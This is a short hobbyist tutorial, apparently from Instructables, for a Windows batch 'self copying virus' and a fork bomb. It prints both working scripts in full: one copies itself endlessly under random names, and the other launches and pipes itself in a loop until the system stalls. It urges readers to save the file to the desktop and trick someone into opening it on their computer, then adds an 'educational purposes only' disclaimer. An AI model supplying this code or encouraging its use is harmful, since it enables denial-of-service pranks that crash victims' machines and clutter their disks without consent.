Very Simple "self Copying" Virus / Fork Bomb

by Country Boy 97 in Circuits > Computers

195 Views, 1 Favorites, 0 Comments

Very Simple "self Copying" Virus / Fork Bomb

fork-bomb-hi.png
hey guys! today i'm gonna show you a file i found on the internet about a week ago, verry simple, but verry funny. its kindov a fork bomb (if you dont know what a fork bomb is, search it on wiki) but i'm also going to show you just a simple self copying virus. (not a big file, so no harm done to memory, but it's frustrating to delete all the files <(^.^)> )

Open Notepad

Notepad.png
this is easy, if you know how to open notepad, you can skip

-start
   -programs
      -accesories
          notepad

Coding

mak_CommandLineTools3_image001.jpg
so this is the coding for the self replicating "virus" (i would suggest you learn what %0-9 are. %0 is the file itself)

@echo off
cls
:a
copy /y %0 %random%%random%.bat
goto a



and this is the coding for the fork bomb ;)

@echo off
cls
:a
start %0
%0|%0
goto a


     *by the way, this starts the same file thats alredy open, and pipes the output command of this file as the input command of this file)

Save As

fork-bomb-2-.jpg
save it as "whatever".bat

     *.bat is important
     * i consider saving it to the desktop, its funnier to opoen it then ;)

and then convince someone to open it on THERE computer, and watch there reaction.

I AM NOT RESPONSIBLE FOR YOUR ACTIONS! IF YOU GET CAUGHT, DONT BLAME IT ON ME! THIS IS FOR EDUCATIONAL PORPOSES ONLY!!!